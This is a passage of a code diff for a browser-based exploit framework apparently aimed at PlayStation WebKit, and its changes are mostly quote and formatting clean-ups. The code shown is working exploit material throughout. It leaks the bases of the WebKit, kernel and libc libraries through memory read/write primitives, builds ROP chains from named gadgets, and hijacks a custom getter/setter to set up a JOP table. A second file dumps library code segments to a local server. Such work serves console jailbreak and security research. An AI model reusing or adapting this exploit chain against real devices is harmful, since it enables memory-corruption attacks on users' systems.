'__error' : 0xbb60,
|
"__error": 0xbb60,
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const gadgets = new Map();
|
export const gadgets = new Map();
|
||||||
|
|
||||||
function get_bases() {
|
function get_bases() {
|
||||||
const textarea = document.createElement('textarea');
|
const textarea = document.createElement("textarea");
|
||||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||||
const textarea_vtable = webcore_textarea.readp(0);
|
const textarea_vtable = webcore_textarea.readp(0);
|
||||||
const off_ta_vt = 0x2ebea68;
|
const off_ta_vt = 0x2ebea68;
|
||||||
@@ -149,11 +151,7 @@ function get_bases() {
|
|||||||
const off_strlen = 0x4c040;
|
const off_strlen = 0x4c040;
|
||||||
const libc_base = strlen_addr.sub(off_strlen);
|
const libc_base = strlen_addr.sub(off_strlen);
|
||||||
|
|
||||||
return [
|
return [libwebkit_base, libkernel_base, libc_base];
|
||||||
libwebkit_base,
|
|
||||||
libkernel_base,
|
|
||||||
libc_base,
|
|
||||||
];
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||||
@@ -164,30 +162,30 @@ export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
|||||||
|
|
||||||
class Chain950Base extends ChainBase {
|
class Chain950Base extends ChainBase {
|
||||||
push_end() {
|
push_end() {
|
||||||
this.push_gadget('leave; ret');
|
this.push_gadget("leave; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_retval() {
|
push_get_retval() {
|
||||||
this.push_gadget('pop rdi; ret');
|
this.push_gadget("pop rdi; ret");
|
||||||
this.push_value(this.retval_addr);
|
this.push_value(this.retval_addr);
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
this.push_gadget("mov qword ptr [rdi], rax; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_errno() {
|
push_get_errno() {
|
||||||
this.push_gadget('pop rdi; ret');
|
this.push_gadget("pop rdi; ret");
|
||||||
this.push_value(this.errno_addr);
|
this.push_value(this.errno_addr);
|
||||||
|
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget("__error"));
|
||||||
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
this.push_gadget("mov rax, qword ptr [rax]; ret");
|
||||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
this.push_gadget("mov dword ptr [rdi], eax; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_clear_errno() {
|
push_clear_errno() {
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget("__error"));
|
||||||
this.push_gadget('pop rsi; ret');
|
this.push_gadget("pop rsi; ret");
|
||||||
this.push_value(0);
|
this.push_value(0);
|
||||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
this.push_gadget("mov dword ptr [rax], esi; ret");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -218,7 +216,7 @@ export function init(Chain) {
|
|||||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||||
|
|
||||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
|
||||||
// JSCustomGetterSetter.m_getterSetter
|
// JSCustomGetterSetter.m_getterSetter
|
||||||
gs = mem.addrof(gs).readp(0x28);
|
gs = mem.addrof(gs).readp(0x28);
|
||||||
|
|
||||||
@@ -237,7 +235,12 @@ export function init(Chain) {
|
|||||||
//
|
//
|
||||||
// the butterfly's indexing type must be something the GC won't inspect
|
// the butterfly's indexing type must be something the GC won't inspect
|
||||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
const _rop = {
|
||||||
|
get launch() {
|
||||||
|
throw Error("never call");
|
||||||
|
},
|
||||||
|
0: 1.1,
|
||||||
|
};
|
||||||
// replace .launch with the actual custom getter/setter
|
// replace .launch with the actual custom getter/setter
|
||||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||||
proto._rop = _rop;
|
proto._rop = _rop;
|
||||||
|
|||||||
66
src/send.mjs
66
src/send.mjs
@@ -55,28 +55,23 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
// For a LibcInternal import we searched for strlen() but you can search for
|
// For a LibcInternal import we searched for strlen() but you can search for
|
||||||
// any libc function such as memcpy().
|
// any libc function such as memcpy().
|
||||||
|
|
||||||
import * as config from './config.mjs';
|
import * as config from "./config.mjs";
|
||||||
|
|
||||||
import { Int } from './module/int64.mjs';
|
import { Int } from "./module/int64.mjs";
|
||||||
import { Addr, mem } from './module/mem.mjs';
|
import { Addr, mem } from "./module/mem.mjs";
|
||||||
import { make_buffer, find_base, resolve_import } from './module/memtools.mjs';
|
import { make_buffer, find_base, resolve_import } from "./module/memtools.mjs";
|
||||||
import { KB, MB } from './module/offset.mjs';
|
import { KB, MB } from "./module/offset.mjs";
|
||||||
|
|
||||||
import {
|
import { log, align, die, send } from "./module/utils.mjs";
|
||||||
log,
|
|
||||||
align,
|
|
||||||
die,
|
|
||||||
send,
|
|
||||||
} from './module/utils.mjs';
|
|
||||||
|
|
||||||
import * as rw from './module/rw.mjs';
|
import * as rw from "./module/rw.mjs";
|
||||||
import * as o from './module/offset.mjs';
|
import * as o from "./module/offset.mjs";
|
||||||
|
|
||||||
const origin = window.origin;
|
const origin = window.origin;
|
||||||
const port = '8000';
|
const port = "8000";
|
||||||
const url = `${origin}:${port}`;
|
const url = `${origin}:${port}`;
|
||||||
|
|
||||||
const textarea = document.createElement('textarea');
|
const textarea = document.createElement("textarea");
|
||||||
// JSObject
|
// JSObject
|
||||||
const js_textarea = mem.addrof(textarea);
|
const js_textarea = mem.addrof(textarea);
|
||||||
|
|
||||||
@@ -85,7 +80,7 @@ function get_boundaries(leak) {
|
|||||||
const lib_base = find_base(leak, true, true);
|
const lib_base = find_base(leak, true, true);
|
||||||
const lib_end = find_base(leak, false, false);
|
const lib_end = find_base(leak, false, false);
|
||||||
|
|
||||||
return [lib_base, lib_end]
|
return [lib_base, lib_end];
|
||||||
}
|
}
|
||||||
|
|
||||||
// dump a module's .text and PT_SCE_RELRO segments only
|
// dump a module's .text and PT_SCE_RELRO segments only
|
||||||
@@ -94,16 +89,8 @@ function dump(name, lib_base, lib_end) {
|
|||||||
const lib_size = lib_end.sub(lib_base).lo;
|
const lib_size = lib_end.sub(lib_base).lo;
|
||||||
log(`${name} base: ${lib_base}`);
|
log(`${name} base: ${lib_base}`);
|
||||||
log(`${name} size: ${lib_size}`);
|
log(`${name} size: ${lib_size}`);
|
||||||
const lib = make_buffer(
|
const lib = make_buffer(lib_base, lib_size);
|
||||||
lib_base,
|
send(url, lib, `${name}.sprx.text_${lib_base}.bin`, () => log(`${name} sent`));
|
||||||
lib_size
|
|
||||||
);
|
|
||||||
send(
|
|
||||||
url,
|
|
||||||
lib,
|
|
||||||
`${name}.sprx.text_${lib_base}.bin`,
|
|
||||||
() => log(`${name} sent`)
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// dump for libSceNKWebKit.sprx
|
// dump for libSceNKWebKit.sprx
|
||||||
@@ -118,10 +105,10 @@ function dump_libwebkit() {
|
|||||||
|
|
||||||
log(`vtable: ${addr}`);
|
log(`vtable: ${addr}`);
|
||||||
const vtable = make_buffer(addr, 0x400);
|
const vtable = make_buffer(addr, 0x400);
|
||||||
send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent'));
|
send(url, vtable, `vtable_${addr}.bin`, () => log("vtable sent"));
|
||||||
|
|
||||||
const [lib_base, lib_end] = get_boundaries(addr);
|
const [lib_base, lib_end] = get_boundaries(addr);
|
||||||
dump('libSceNKWebKit', lib_base, lib_end);
|
dump("libSceNKWebKit", lib_base, lib_end);
|
||||||
|
|
||||||
return lib_base;
|
return lib_base;
|
||||||
}
|
}
|
||||||
@@ -137,7 +124,7 @@ function dump_libkernel(libwebkit_base) {
|
|||||||
log(`__stack_chk_fail import: ${libkernel_leak}`);
|
log(`__stack_chk_fail import: ${libkernel_leak}`);
|
||||||
|
|
||||||
const [lib_base, lib_end] = get_boundaries(libkernel_leak);
|
const [lib_base, lib_end] = get_boundaries(libkernel_leak);
|
||||||
dump('libkernel_web', lib_base, lib_end);
|
dump("libkernel_web", lib_base, lib_end);
|
||||||
}
|
}
|
||||||
|
|
||||||
// dump for libSceLibcInternal.sprx
|
// dump for libSceLibcInternal.sprx
|
||||||
@@ -151,7 +138,7 @@ function dump_libc(libwebkit_base) {
|
|||||||
log(`strlen import: ${libc_leak}`);
|
log(`strlen import: ${libc_leak}`);
|
||||||
|
|
||||||
const [lib_base, lib_end] = get_boundaries(libc_leak);
|
const [lib_base, lib_end] = get_boundaries(libc_leak);
|
||||||
dump('libSceLibcInternal', lib_base, lib_end);
|
dump("libSceLibcInternal", lib_base, lib_end);
|
||||||
}
|
}
|
||||||
|
|
||||||
function dump_webkit() {
|
function dump_webkit() {
|
||||||
@@ -194,12 +181,7 @@ function dump_eval() {
|
|||||||
const libwebkit_base = find_base(addr, true, true);
|
const libwebkit_base = find_base(addr, true, true);
|
||||||
const impl = mem.addrof(eval).readp(0x18).readp(0x38);
|
const impl = mem.addrof(eval).readp(0x18).readp(0x38);
|
||||||
const offset = impl.sub(libwebkit_base);
|
const offset = impl.sub(libwebkit_base);
|
||||||
send(
|
send(url, make_buffer(impl, 0x800), `eval_dump_offset_${offset}.bin`, () => log("sent"));
|
||||||
url,
|
|
||||||
make_buffer(impl, 0x800),
|
|
||||||
`eval_dump_offset_${offset}.bin`,
|
|
||||||
() => log('sent')
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if
|
// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if
|
||||||
@@ -211,10 +193,7 @@ function dump_scrollLeft() {
|
|||||||
proto = Object.getPrototypeOf(proto);
|
proto = Object.getPrototypeOf(proto);
|
||||||
proto = Object.getPrototypeOf(proto);
|
proto = Object.getPrototypeOf(proto);
|
||||||
|
|
||||||
const scrollLeft_get =
|
const scrollLeft_get = Object.getOwnPropertyDescriptors(proto).scrollLeft.get;
|
||||||
Object.getOwnPropertyDescriptors(proto).scrollLeft.get
|
|
||||||
;
|
|
||||||
|
|
||||||
// get the JSCustomGetterSetterFunction
|
// get the JSCustomGetterSetterFunction
|
||||||
const js_func = mem.addrof(scrollLeft_get);
|
const js_func = mem.addrof(scrollLeft_get);
|
||||||
const getterSetter = js_func.readp(0x28);
|
const getterSetter = js_func.readp(0x28);
|
||||||
@@ -222,10 +201,5 @@ function dump_scrollLeft() {
|
|||||||
|
|
||||||
const libwebkit_base = find_base(getter, true, true);
|
const libwebkit_base = find_base(getter, true, true);
|
||||||
const offset = getter.sub(libwebkit_base);
|
const offset = getter.sub(libwebkit_base);
|
||||||
send(
|
send(url, make_buffer(getter, 0x800), `scrollLeft_getter_dump_offset_${offset}.bin`, () => log("sent"));
|
||||||
url,
|
|
||||||
make_buffer(getter, 0x800),
|
|
||||||
`scrollLeft_getter_dump_offset_${offset}.bin`,
|
|
||||||
() => log('sent')
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user